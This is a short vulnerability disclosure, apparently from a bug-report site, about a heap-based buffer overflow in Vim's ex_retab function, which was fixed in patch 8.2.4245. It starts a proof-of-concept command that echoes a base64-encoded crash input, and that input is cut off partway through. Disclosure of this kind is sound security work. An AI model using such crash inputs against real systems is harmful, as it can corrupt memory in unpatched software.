Heap-based Buffer Overflow in vim/vim

Description Heap Overflow in exretab. This issue was created to separate the previous issue. This bug has already been fixed with patch 8.2.4245. Proof of Concept $ echo -ne "bm9ybTBvMDAwMDAwMDAwMDAwMDAwMDAwMDD/MJMwMDAKc2lsIW5vcm0WYxwwMAkwCmZ1IFJldGFi...